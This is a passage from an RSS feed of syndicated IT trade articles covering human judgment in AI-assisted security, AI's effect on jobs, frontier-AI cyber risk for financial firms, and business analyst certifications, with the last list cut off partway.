<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/scottbeale/">Scott Beale</a>, CEO of ISC2, similarly warns that AI’s ability to increase capacity <a href="https://www.csoonline.com/article/4198016/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats.html">does not eliminate the need for human judgment</a>. An erroneous recommendation about a coffee shop is inconsequential; one affecting an organization’s systems, data, or response to an attack is not.</p>



<p class="wp-block-paragraph">“You need to be able to differentiate what is accurate and what’s not,” Beale tells CSO. “They also know that when errors are made, it is a human who’s going to be held accountable for whether the right decisions were made.”</p>



<p class="wp-block-paragraph">That accountability, Beale says, is exactly why AI can’t be allowed to lower the floor on human judgment: “Human judgment and human oversight are absolutely critical, even if you’re partnering with these AI tools.”</p>



<h2 class="wp-block-heading">New AI-specific attacks do not replace traditional threats</h2>



<p class="wp-block-paragraph">Organizations must also distinguish between attacks conducted with AI and attacks directed against the AI systems they use.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/rogeragrimes/">Roger Grimes</a>, a longtime security researcher and CISO adviser, says AI-enhanced attackers continue to rely heavily on the two dominant initial-access techniques of the broader internet era: social engineering and exploitation of unpatched vulnerabilities. AI can create more convincing phishing campaigns, deepfakes, and customized lures, while also helping identify known and previously undiscovered software flaws.</p>



<p class="wp-block-paragraph">“When AI threats come, as they already are, they’re going to use and abuse those same traditional, classical ways that hackers have always broken in,” Grimes tells CSO.</p>



<p class="wp-block-paragraph">At the same time, organizations are deploying systems vulnerable to prompt injection, model manipulation, data leakage, and other attacks aimed directly at AI. Grimes compares prompt injection to SQL injection: a form of attack made possible by a particular underlying technology. The difference is that AI will be embedded across desktops, devices, and interconnected services, and an attack against one model may reach an organization through an AI supply chain security teams have not fully mapped.</p>



<p class="wp-block-paragraph">“There are attacks from AI against you, whether or not you’re using AI,” Grimes says. “And then there are attacks to the AI that you use, because we’re all using AI in some way, and that’s only going to grow over time.”</p>



<p class="wp-block-paragraph">Traditional security fundamentals will mitigate many of the pathways attackers use to reach AI systems, but organizations will also need new controls for models, agents, prompts, and AI data flows. This, Grimes says, is an expansion of the security program, not an excuse to abandon what came before.</p>



<h2 class="wp-block-heading">AI can help do the hard, tedious work</h2>



<p class="wp-block-paragraph">None of the experts argues that CISOs should turn away from AI. Used carefully, it can help security teams analyze telemetry, investigate alerts, discover assets, examine code, and identify vulnerabilities — scaling work organizations have historically performed poorly because it is tedious and labor-intensive.</p>



<p class="wp-block-paragraph">AWS’s Brandwine says security organizations need ways to experiment with AI without subjecting every idea to a lengthy production review. A new AI-powered detection, for example, can run in parallel with an established system so defenders can compare results without immediately depending on it. That agility becomes essential as developers produce software faster and employees adopt new models and agents, requiring security teams to keep pace without turning governance into an obstacle employees evade.</p>



<p class="wp-block-paragraph">AI may finally make some aspects of security hygiene easier to sustain — assisting with asset classification, correlating disconnected inventories, prioritizing remediation work, and reducing the manual burden of reviewing logs. But its results will be only as dependable as the systems, data, and human decisions surrounding it.</p>



<p class="wp-block-paragraph">The winning formula is therefore neither “forget AI and return to the basics” nor “let AI solve cybersecurity.” It is to use AI to increase the speed and scale at which organizations perform the fundamentals while preserving the human knowledge, governance, and accountability necessary to determine whether the technology is getting the work right.</p>



<p class="wp-block-paragraph">As Google Cloud’s Betz puts it, the journey is “a firm foundation and a move-faster piece with AI on top.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI can do your tasks. That doesn’t mean it will do your job]]></title>
<description><![CDATA[Much of the conversation around AI and work has centered on a single question: Will AI take my job?



It’s an understandable concern. Every week AI becomes increasingly more capable. We see AI summarizing meetings, generating content, analyzing data, writing software and automating workflows tha...]]></description>
<link>https://tsecurity.de/de/3700521/it-security-nachrichten/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700521/it-security-nachrichten/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job/</guid>
<pubDate>Mon, 03 Aug 2026 12:03:12 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Much of the conversation around AI and work has centered on a single question: Will AI take my job?</p>



<p class="wp-block-paragraph">It’s an understandable concern. Every week AI becomes increasingly more capable. We see AI summarizing meetings, generating content, analyzing data, writing software and automating workflows that once required significant human effort. Agentic AI is also becoming more established in the workplace, with virtual agents that can reason, plan and act across workflows. As those capabilities continue to improve, many employees are looking at the tasks they perform every day and wondering how much longer they will belong to them.</p>



<p class="wp-block-paragraph">I believe that question reveals a bigger issue that has little to do with the technology itself.</p>



<p class="wp-block-paragraph">Too many people have become defined by the tasks they perform rather than the value they create. Over time, the administrative work surrounding a role can overshadow the purpose behind it. According to Asana’s <a href="https://asana.com/resources/why-work-about-work-is-bad?utm_source=chatgpt.com">Anatomy of Work Index</a>, knowledge workers spend 60% of their time on “work about work” — coordinating, tracking and managing tasks rather than driving meaningful outcomes. As AI automates more of this work, it can feel less like a productivity breakthrough and more like a threat because many employees equate their value with the activities that consume most of their day.</p>



<p class="wp-block-paragraph">But most people were not hired to perform a task. They were hired to fulfill a purpose.</p>



<h2 class="wp-block-heading">Tasks are not the job</h2>



<p class="wp-block-paragraph">A customer service representative isn’t successful because they spend their day summarizing conversations, looking up account information or navigating multiple systems to find answers. Those activities may have become part of the job, but they aren’t the reason the role exists. Great service professionals build trust, solve problems and create moments that strengthen customer relationships. AI can, and should, take on this administrative work, but the human value has never been in completing those tasks. It has always been in helping customers through moments that matter.</p>



<p class="wp-block-paragraph">The industry increasingly recognizes this distinction. In fact, 91% of CX leaders believe human agents will remain a critical part of delivering customer experience, according to my company’s <a href="https://www.genesys.com/resources/state-of-cx">State of Customer Experience</a> 2026 report. As AI takes on more routine work, the role of the employee doesn’t disappear. It becomes even more focused on the judgment, empathy and relationship-building that customers value most.</p>



<p class="wp-block-paragraph">The same principle applies across every profession. A marketer isn’t measured by the number of presentations they build or approvals they coordinate; they’re hired to shape customer perception and drive growth; an HR professional isn’t successful because they schedule interviews or process paperwork; they’re there to identify, develop and retain talent. The examples go on, but the principle remains the same: Organizations create roles because outcomes need to be achieved, not because tasks need to be completed.<strong></strong></p>



<p class="wp-block-paragraph">I’ve helped lead four major AI transformations, spanning everything from machine learning and big data to conversational AI, generative AI and now agentic AI. While the technology has evolved dramatically, one pattern has remained remarkably consistent.</p>



<p class="wp-block-paragraph">The employees who embrace AI tend to focus on outcomes, while those who fear it often focus on tasks. The more someone defines their contribution through a list of activities, the easier it becomes to imagine AI replacing them. The more someone understands the purpose they serve, the easier it becomes to see AI as a tool that helps them deliver greater value.</p>



<p class="wp-block-paragraph">As part of AI transformations, CIO organizations are often responsible for mapping jobs and core workflows. Inevitably, employees think we’re mapping their jobs to figure out what AI can replace. But once we start identifying repetitive work they’d gladly hand off, perspectives change. Someone says, “If AI handled that, I’d finally have time to work directly with customers.” Another realizes they could spend more time creating. People start thinking less about what AI might replace and more about what they’d finally have time to do. They’re reconnecting with the reason they wanted the role in the first place.</p>



<p class="wp-block-paragraph">I’ve seen this play out as AI adoption expands. Our team responsible for responding to customer RFPs began using AI to analyze requirements, surface relevant information and accelerate response development. Their purpose is to help the organization communicate our value to customers and win new business. By reducing the time spent on low-value activities, AI created more capacity for strategic thinking, collaboration and customer-focused work, which directly influences the revenue and growth of our company.</p>



<p class="wp-block-paragraph">I’ve even had to confront this myself. I used to spend hours coaching leaders before operational reviews: reviewing KPIs, challenging assumptions and helping them prepare for difficult questions. I used to think this was part of what made me valuable as a CIO, but I realized that I didn’t need to spend my time repeating the same coaching session. That’s why I built a virtual coach that helps my team prepare for operational reviews using many of the frameworks and lessons I’ve accumulated throughout my career. Now I have more time to spend strategizing on how to lead through the breakneck speed of AI evolution and helping the business think differently.</p>



<h2 class="wp-block-heading">Rediscovering purpose</h2>



<p class="wp-block-paragraph">What employees are really confronting is a different question: What was my purpose in being hired in the first place?</p>



<p class="wp-block-paragraph">As organizations move from AI experimentation to AI-first operating models, this question becomes harder to avoid. The tension is already visible across the workforce. A recent <a href="https://www.ey.com/en_us/newsroom/2025/10/new-ey-survey-reveals-majority-of-workers-are-enthusiastic-about-agentic-ai-but-leadership-gaps-in-communication-and-lack-of-training-threaten-impact">EY survey</a> found that 84% of employees are eager to embrace agentic AI because they expect it to improve productivity, efficiency and the overall work experience. Yet 56% also worry about their job security working alongside AI systems. Employees aren’t rejecting AI; they’re trying to understand which parts of their contributions remain uniquely theirs as technology takes on more of the tasks they perform today.</p>



<p class="wp-block-paragraph">Success will depend greatly on helping employees reconnect with the value they were hired to create. For leaders looking for practical guidance on how organizations are actually approaching AI-first transformation, the World Economic Forum’s <a href="https://www.weforum.org/publications/the-ai-first-operating-system-a-blueprint-for-operating-and-business-model-innovation/">AI-First Operating System</a> offers a useful framework. Rather than treating AI as another technological tool, this approach encourages organizations to redesign work around value creation. As AI increasingly takes on routine tasks, employees must become clearer about where human judgment, creativity and relationships can create the greatest impact. You cannot redesign work around value if people no longer understand the purpose behind the work that they do.</p>



<p class="wp-block-paragraph">In my experience, the organizations seeing the strongest results are helping employees reconnect with the outcomes they were hired to create. The conversation shifts from “What tasks can AI do?” to “What is the purpose of this role?” Once people answer that question, it becomes much easier to decide what should remain human, what can be delegated to AI and where the combination creates the most value.</p>



<p class="wp-block-paragraph">None of this means change won’t happen. Some responsibilities will disappear. Some jobs will evolve significantly. New roles will emerge that we cannot fully predict today. Every major technology shift creates that kind of change.</p>



<p class="wp-block-paragraph">But I believe many people are looking at this transformation through the wrong lens.</p>



<p class="wp-block-paragraph">The question is not whether AI can do your tasks. The question is whether you understand the purpose behind them. Because while AI may increasingly perform the work, humans will continue to provide the judgment, creativity, accountability and value that give that work meaning.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Frontier AI will not break finance. Slow cyber decisions will]]></title>
<description><![CDATA[The scariest thing about frontier AI is that it gives lazy criminals better legs.



That sounds flippant until you watch how cyber failure works. I have seen that weakness in many costumes: A server waiting for a patch, an access path nobody wants to touch, a supplier marked “low risk” because t...]]></description>
<link>https://tsecurity.de/de/3700520/it-security-nachrichten/frontier-ai-will-not-break-finance-slow-cyber-decisions-will/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700520/it-security-nachrichten/frontier-ai-will-not-break-finance-slow-cyber-decisions-will/</guid>
<pubDate>Mon, 03 Aug 2026 12:03:09 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The scariest thing about frontier AI is that it gives lazy criminals better legs.</p>



<p class="wp-block-paragraph">That sounds flippant until you watch how cyber failure works. I have seen that weakness in many costumes: A server waiting for a patch, an access path nobody wants to touch, a supplier marked “low risk” because the contract said so, and a legacy system kept alive by one person who retired years ago.</p>



<p class="wp-block-paragraph">It is a known weakness with no owner.</p>



<p class="wp-block-paragraph">Frontier AI only needs to find them faster, join them better and act before the committee has finished admiring the heat map.</p>



<p class="wp-block-paragraph">On 15 May 2026, the <a href="https://www.bankofengland.co.uk/news/2026/may/boe-fca-and-hm-treasury-joint-statement-on-frontier-ai-models-and-cyber-resilience">Bank of England, the FCA and HM Treasury</a> warned that frontier AI models carry serious cyber and operational resilience implications for regulated firms and financial market infrastructures. Cyber capability is getting faster and cheaper to scale.</p>



<p class="wp-block-paragraph"><a href="https://www.esrb.europa.eu/news/pr/date/2026/html/esrb.pr260707~4e1b68241a.en.html">The European Systemic Risk Board (ESRB) warned in June 2026</a> that frontier AI models with cyber capabilities can discover vulnerabilities, generate working exploits and execute attacks at a speed, scale and accuracy beyond those of earlier models. It also warned that this may reduce response time, increase concentration risk and weaken resilience across the financial system. Three weeks earlier, a <a href="https://www.whitehouse.gov/presidential-actions/2026/06/promoting-advanced-artificial-intelligence-innovation-and-security">US executive order</a> directed the Treasury, along with CISA and the NSA, to establish an AI cybersecurity clearinghouse and a pre-release evaluation framework for frontier models with advanced cyber capabilities.</p>



<h2 class="wp-block-heading">The clock has changed</h2>



<p class="wp-block-paragraph">For years, cyber programmes lived on borrowed time.</p>



<p class="wp-block-paragraph">A weakness appeared. Someone logged it. Technology needed a change window. Procurement checked the supplier. Legal asked what could be said. Everyone was busy. Nobody was idle. Yet the decision moved like a suitcase with one broken wheel.</p>



<p class="wp-block-paragraph">Frontier AI punishes that rhythm.</p>



<p class="wp-block-paragraph"><a href="https://www.iif.com/Publications/ID/6618/IIF-Staff-Paper-Speed-Scale-and-Systemic-Risk-Frontier-AI-and-Cybersecurity">The Institute of International Finance (IIF)</a> staff paper says frontier AI has lowered the barriers to discovering, exploiting and combining vulnerabilities. It also says the answer is not a new risk framework, but faster use of existing ones, with more senior ownership and faster remediation.</p>



<p class="wp-block-paragraph">A patching process that looked mature when attackers needed weeks may look quaint when exploitation can follow in hours. A vulnerability backlog that once looked like a queue can become a menu. And menus are for customers. Not attackers.</p>



<h2 class="wp-block-heading">When firm weakness becomes market fragility</h2>



<p class="wp-block-paragraph">In finance, a cyber incident can travel.</p>



<p class="wp-block-paragraph">A bank does not sit alone. A payment system does not hum in a private corner. A firm and financial market infrastructure (FMI) does not clear and settle trades as a hobby. These institutions share technology, suppliers, market data, cloud services, open-source code, identity systems and habits. When one pipe shakes, another pipe may feel the vibration.</p>



<p class="wp-block-paragraph">That is why the ESRB treats frontier AI as a systemic risk, rather than a security issue. It points to shared technology stacks, common service providers, open-source dependencies and the risk of incidents spreading across critical functions. It also warns about asymmetry: Some firms and jurisdictions will have better skills, tools and access than others, while attackers may benefit sooner than defenders.</p>



<p class="wp-block-paragraph">For FMIs, the useful question is blunt: What failure would stop the market completing the day? Not “which system is red?” Not “which supplier scored medium?” If this breaks, who cannot pay, clear, settle, price, report or trust?</p>



<p class="wp-block-paragraph">In finance, one firm’s backlog can become another firm’s outage.</p>



<h2 class="wp-block-heading">Governance means naming the decision</h2>



<p class="wp-block-paragraph">There will be a new policy. A renamed committee. A dashboard that tells directors what everyone already knows: the risk is high.</p>



<p class="wp-block-paragraph">Fine. Keep the dashboard. But do not confuse it with movement.</p>



<p class="wp-block-paragraph">Supervisors have already moved this to the top table. On 7 July 2026, the ECB, as banking supervisor, has <a href="https://www.bankingsupervision.europa.eu/press/letterstobanks/shared/pdf/2026/ssm.2026_letter_on_AI_enabled_cybersecurity_threats.en.pdf">asked significant institutions</a> to assess the changed threat environment without delay and to deliver a full action plan by 31 October 2026. The ESRB says financial authorities should ensure boards are fully committed to mitigating frontier-AI-driven cyber risks, with clear governance, planned, timely responses and internal investment.</p>



<p class="wp-block-paragraph">Governance should name the decisions before the incident names them for you. Which important services are most exposed? Which vulnerabilities must be fixed first? Which patching risks will the board accept to avoid a worse cyber risk? Which suppliers can hurt the firm? Which defensive AI tools are safe enough to use, and under whose authority?</p>



<p class="wp-block-paragraph">Each important business service should have a Frontier AI Cyber Risk Position. One page. Service. Scenario. Owner. Gap. Decision. Funding. Date. Proof.</p>



<p class="wp-block-paragraph">If it cannot fit on one page, it may not be due to complexity. It may be fog.</p>



<p class="wp-block-paragraph">A policy says the firm noticed. A decision says the firm moved.</p>



<h2 class="wp-block-heading">Threat modelling must grow up</h2>



<p class="wp-block-paragraph">Old threat models ask what an attacker might do. Useful, yes. But frontier AI adds a sharper question: What does the model make easier?</p>



<p class="wp-block-paragraph">The <a href="https://www.frontiermodelforum.org/technical-reports/managing-advanced-cyber-risks-in-frontier-ai-frameworks/">Frontier Model Forum</a> says cyber risk frameworks use capability thresholds, capability assessments and extra safeguards when models reach levels that could enable serious harm. Two thresholds matter for finance: Models that give meaningful uplift to less-skilled attackers, and systems that can carry out parts or all of an attack chain with little human direction.</p>



<p class="wp-block-paragraph">So do not only ask whether phishing improves. Ask whether a novice can now perform work that once needed a specialist. Ask whether vulnerabilities can be discovered, chained, tested and used against hardened targets.</p>



<p class="wp-block-paragraph">The Frontier AI Risk Management Framework offers a useful lens: Deployment environment, threat source and enabling capability. In plain English: Where is the tool, who can misuse it and what does it let them do that they could not do before?</p>



<h2 class="wp-block-heading">Patching is now a resilience test</h2>



<p class="wp-block-paragraph">Patching used to be treated like hygiene. Necessary, dull and easy to postpone.</p>



<p class="wp-block-paragraph">Not anymore.</p>



<p class="wp-block-paragraph">The ESRB warns that current patching practices in finance are largely reactive. They rely on periodic updates and ad hoc responses. That may fail if frontier AI increases the volume of critical vulnerabilities. Firms may then face an ugly choice: Leave systems exposed or reduce patch testing, risking outages.</p>



<p class="wp-block-paragraph">The IIF paper adds another sting. A published patch can become a signal. Attackers can inspect the fix, infer the weakness and move faster than firms can test and deploy it. In that world, “we are waiting for the next maintenance window” starts to sound less like discipline and more like hope in a suit.</p>



<p class="wp-block-paragraph">Firms need a patch-wave model: Asset visibility tied to critical services, component visibility, exploitability scoring, attack-path analysis, emergency change lanes, rollback plans and senior visibility when the clock collapses.</p>



<p class="wp-block-paragraph">Do not let <a href="https://www.first.org/cvss/">CVSS</a> become theatre. A lower-scored weakness on a live path to a critical service may matter more than a higher-scored weakness buried in a corner.</p>



<p class="wp-block-paragraph">A patch is not always the end of the story. Under pressure from frontier AI, it can be the starting gun.</p>



<h2 class="wp-block-heading">Your supplier map is part of your attack surface</h2>



<p class="wp-block-paragraph">No firm owns its full risk anymore.</p>



<p class="wp-block-paragraph">Some of it sits on cloud platforms, in managed services and in open-source packages maintained by tired volunteers, software vendors and AI providers whose access decisions may depend on governments, export rules or commercial priorities.</p>



<p class="wp-block-paragraph">The IIF paper notes that weaknesses now being surfaced are not unique to financial services. They live in operating systems, browsers, cloud platforms and open-source software used across the wider economy. The capacity to fix many of them sits with technology developers, platform firms and governments.</p>



<p class="wp-block-paragraph">A contract clause does not patch a supplier. A right-to-audit clause does not restore settlement at 3 a.m. A service credit does not rebuild confidence.</p>



<p class="wp-block-paragraph">Firms and FMIs need sharper dependency maps. Which providers support important services? Which have production access? Which hold sensitive data? Which supplier failure would stop the day?</p>



<p class="wp-block-paragraph">Ask for proof. Patch proof. Incident routes. Recovery test results. Component lists. Exit options that can survive contact with reality.</p>



<p class="wp-block-paragraph">Procurement should not buy what resilience cannot recover. Your perimeter ends at the contract. The attacker’s path does not.</p>



<h2 class="wp-block-heading">Use AI for defence, but keep humans in authority</h2>



<p class="wp-block-paragraph">Frontier AI can help search code, correlate signals, support testing and speed up triage. The ESRB accepts the defensive value, but warns that offensive gains may arrive sooner than defensive maturity. The IIF paper says firms that move faster to build defensive capability will be better placed as the threat shifts.</p>



<p class="wp-block-paragraph">So yes, use AI to test, find weak paths, help the SOC cut noise and scan code before deployment.</p>



<p class="wp-block-paragraph">But do not let speed smuggle in authority.</p>



<p class="wp-block-paragraph">If a containment action could affect payments, settlement, customer access or market operations, a named human must own the call. AI can suggest. AI can rank. AI can warn. It should not inherit a mandate by accident.</p>



<p class="wp-block-paragraph">Agents that write code, test controls, scan infrastructure or act in workflows need scoped permissions, monitoring, logs and kill switches. They also need owners who understand what the agent can touch.</p>



<p class="wp-block-paragraph">Use AI to gain speed. Do not let it become the ghost in the control room.</p>



<h2 class="wp-block-heading">Assurance must reconstruct the story</h2>



<p class="wp-block-paragraph">After an incident, the question will not be, “Did you have controls?”</p>



<p class="wp-block-paragraph">It will be sharper. What did you know? When did you know it? Who decided? What did they reject? Why was the choice reasonable? Where is the proof?</p>



<p class="wp-block-paragraph">Assurance means following the decision trail from threat signal to board action to funding to remediation to test result. Evidence should include board papers, risk decisions, expired acceptances, supplier attestations, incident timelines, recovery tests and lessons learned.</p>



<p class="wp-block-paragraph">The scrutiny will keep moving. The ESRB will reassess these risks at each quarterly meeting of its General Board. Supervisors are calibrating expectations to the trajectory of AI capability because anything anchored to today’s models will be stale before it lands.</p>



<p class="wp-block-paragraph">One caution runs the other way. Firm-level disclosure of live vulnerabilities can itself concentrate targeting information. Push for aggregate reporting where the rules allow, and remediate before you broadcast.</p>



<p class="wp-block-paragraph">Internal audit should ask one brutal question: Could a competent stranger reconstruct the decision six months later? If the answer is no, you may have done work rather than built defensibility.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Frontier AI will not break finance by magic. It will test whether finance can move before its own processes turn against it.</p>



<p class="wp-block-paragraph">Frontier AI will punish firms that treat it as a chore and reward those that treat the next 12 months as a decision problem with a clock on it.</p>



<p class="wp-block-paragraph">The EU and the US reached the same conclusion by different routes: The rulebook already exists. DORA, the AI Act and the new US clearinghouse point to frameworks in place today. The variable is the speed, ownership and evidence with which firms apply them.</p>



<p class="wp-block-paragraph">The board questions are plain. Do we know our important services? Do we know the paths that can break them? Which suppliers and which models can hurt us? Can we patch in hours? Can we contain without guessing? Can we recover within tolerance? Can we prove who decided what, when and why?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[12 business analyst certifications to level up your career]]></title>
<description><![CDATA[Business analysts help organizations make the most of the data they collect by finding trends, patterns, and errors that might otherwise go unnoticed. Successful business analysts have the skills to work with data, the acumen to understand the business side of the organization, and the ability to...]]></description>
<link>https://tsecurity.de/de/3700503/it-nachrichten/12-business-analyst-certifications-to-level-up-your-career/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700503/it-nachrichten/12-business-analyst-certifications-to-level-up-your-career/</guid>
<pubDate>Mon, 03 Aug 2026 12:02:07 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/276798/what-is-a-business-analyst-a-key-role-for-business-it-efficiencywhat-is-a-business-analyst-a-key-role-for-business-it-efficiency.html">Business analysts</a> help organizations make the most of the data they collect by finding trends, patterns, and errors that might otherwise go unnoticed. <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">Successful business analysts</a> have the skills to work with data, the acumen to understand the business side of the organization, and the ability to communicate that information to people outside of IT. Certifications provide a great way to prove your business analyst bona fides or get started in the field.</p>



<p class="wp-block-paragraph">Business analytics is a lucrative role in IT, with an average entry-level salary of $80,692 per year. Throughout their careers, <a href="https://www.cio.com/article/276798/project-management-what-do-business-analysts-actually-do-for-software-implementation-projects.html">business analysts</a> report average salaries ranging from $58,000 to $114,000 per year, <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary">according to PayScale</a>. If you want to advance your business analyst career, or change career paths, here are 12 certifications that will help prove your mettle. Not finding what you’re looking for? Check out our list of <a href="https://www.cio.com/article/230388/big-data-certifications-that-will-pay-off.html">big data and data analytics certifications</a>.</p>



<h2 class="wp-block-heading">Top 12 business analyst certifications</h2>



<ul class="wp-block-list">
<li>Certified Analytics Professional (CAP)</li>



<li>IIBA Entry Certificate in Business Analysis (ECBA)</li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IIBA Certification in Business Data Analytics (CBDA)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IQBBA Certified Advanced Level Business Analyst (CALBA)</li>



<li>IQBBA Certified Agile Business Analyst (CABA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Salesforce Certified Business Analyst</li>
</ul>



<h3 class="wp-block-heading">Certified Analytics Professional (CAP)</h3>



<p class="wp-block-paragraph">The <a href="https://www.certifiedanalytics.org/">Certified Analytics Professional (CAP)</a> is a vendor-neutral certification that certifies your skills and ability to draw valuable insights from complex data sets to help guide strategic businesses decisions. There are three levels of the exam — the essentials, pro, and expert certifications. Essentials is for entry-level analytics professionals, Pro is for mid-career analytics practitioners, and Expert is aimed at senior analytics leaders and directors. Depending on the level of certification, each has different requirements ranging from no-prerequisites at the Essentials level to advanced degrees to qualify for the Expert certification.</p>



<ul class="wp-block-list">
<li><em>Essentials exam fee:</em> $195 for INFORMS members, $275 for non-members</li>



<li><em>Professional exam fee:</em> $325 for INFORMS members, $460 for non-members</li>



<li><em>Expert exam fee:</em> $440 for INFORMS members, $640 for non-members</li>
</ul>



<h3 class="wp-block-heading">IIBA Entry Certificate in Business Analysis (ECBA)</h3>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a> is the first level of certification with the International Institute of Business Analysis (IIBA), it’s designed for less experienced and entry-level business analysts. You will need to complete at least 21 hours of professional training credits, within the past four years, before you will be eligible for the exam. You don’t have to renew your ECBA certification, but it’s assumed you’ll move on to the second or third levels of certification.</p>



<ul class="wp-block-list">
<li><em>Exam fee: </em>$395</li>
</ul>



<p class="wp-block-paragraph">For more, <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">see our guide on the ECBA</a>.</p>



<h3 class="wp-block-heading">IIBA Certification of Competency in Business Analysis (CCBA)</h3>



<p class="wp-block-paragraph">Level 2 of the IIBA certification, the <a href="https://www.iiba.org/business-analysis-certifications/ccba/">Certification of Competency in Business Analysis (CCBA)</a> requires a minimum 3,750 hours of business analytics work aligned with the IIBA’s BABOK guide in the past 7 years, 900 hours in two of six BABOK knowledge areas, or 500 hours in four of six BABOK knowledge areas. The certification also requires a minimum of 21 hours of professional development training in the past four years and two professional references. The CCBA exam consists of 130 multiple-choice questions that are scenario-based and require some analysis. It covers fundamentals, underlying competencies, key concepts, techniques, and all six knowledge areas covered in the BABOK.</p>



<ul class="wp-block-list">
<li><em>Application fee:</em> $145</li>



<li><em>Exam fee:</em> $240 for members, $405 for non-members</li>
</ul>



<h3 class="wp-block-heading">IIBA Certified Business Analysis Professional (CBAP)</h3>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/189143/cbap-certification-a-high-profile-credential-for-business-analysts.html">Certified Business Analysis Professional (CBAP) certification</a> is the third level of certification with IIBA and is designed for “individuals with extensive business analysis experience.” To qualify for this certification, you’ll need a minimum of 7,500 hours of business analyst work experience in the past 10 years, 900 hours of work experience hours within four of the six BABOK knowledge areas, at least 35 hours of professional development in the past four years and professional references. The exam is 3.5 hours long and includes 120 multiple-choice questions based on case studies. After you pass, you’ll need to report at least 60 hours of continuing development units every three years.</p>



<ul class="wp-block-list">
<li><em>Application fee:</em> $145</li>



<li><em>Exam fee:</em> $350 for members, $505 for non-members</li>
</ul>



<p class="wp-block-paragraph">For more, <a href="https://www.cio.com/article/189143/cbap-certification-a-high-profile-credential-for-business-analysts.html">see our guide on the CBAP</a>.</p>



<h3 class="wp-block-heading">IIBA Agile Analysis Certification (AAC)</h3>



<p class="wp-block-paragraph">The agile methodology has been rising in importance for business analysts over the past several years, according to the IIBA. The association’s competency-based <a href="https://www.iiba.org/business-analysis-certifications/agile-analysis/">Agile Analysis Certification (AAC)</a> exam was designed to address this skillset and to certify business analyst professionals working in agile environments, which require fast adaption and rapid change. The exam was developed using the Agile Extension to the Business Analysis Book of Knowledge (BABOK) guide and released in May 2018 as a standalone certification and is separate from the other IIBA business analyst certifications, which stack on top of one another. The exam’s four main topics include agile mindset (30%), strategy horizon (10%), initiative horizon (25%) and delivery horizon (35%). There aren’t any eligibility requirements to take the exam, but the IIBA recommends at least two to five years of agile-related experience.</p>



<ul class="wp-block-list">
<li><em>Exam fee:</em> $250 for members, $405 for non-members</li>
</ul>



<h3 class="wp-block-heading">IIBA Certification in Business Data Analytics (CBDA)</h3>



<p class="wp-block-paragraph">The <a href="https://www.iiba.org/certification/iiba-certifications/specialized-business-analysis-certifications/business-data-analytics-certification/">Certification Business Data Analytics (IIBA-CBDA)</a> from the IIBA is a certification that “recognizes your ability to effectively execute analysis-related work in support of business analytics initiatives.” To pass the exam, you will need to examine a real-world business problem, identify the data sources and how to obtain data, analyze the data, interpret and report results from the data. You’ll then need demonstrate how those results can influence business decision-making and guide company-level strategies for business analytics.</p>



<ul class="wp-block-list">
<li><em>Exam fee:</em> $250 for members, $405 for non-members</li>
</ul>



<h3 class="wp-block-heading">IQBBA Certified Foundation Level Business Analyst (CFLBA)</h3>



<p class="wp-block-paragraph">The International Qualifications Board for Business Analysts (IQBBA) offers the <a href="https://www.iqbba.org/en/scheme/foundation-level.html">Certified Foundation Level Business Analysis (CFLBA)</a> as an entry-level certification, which will qualify you to earn higher levels of certification. It’s a globally recognized certification with accredited exam and training centers across the world. It’s designed for “people involved in analyzing business processes within an organization, modeling businesses and process improvement.” The foundation level covers enterprise analysis, business analysis process planning, requirements elicitation, requirements analysis, solution validation, tools and techniques, innovation, and design.</p>



<ul class="wp-block-list">
<li><em>Exam fee:</em> $215</li>
</ul>



<h3 class="wp-block-heading">IQBBA Certified Advanced Level Business Analyst (CALBA)</h3>



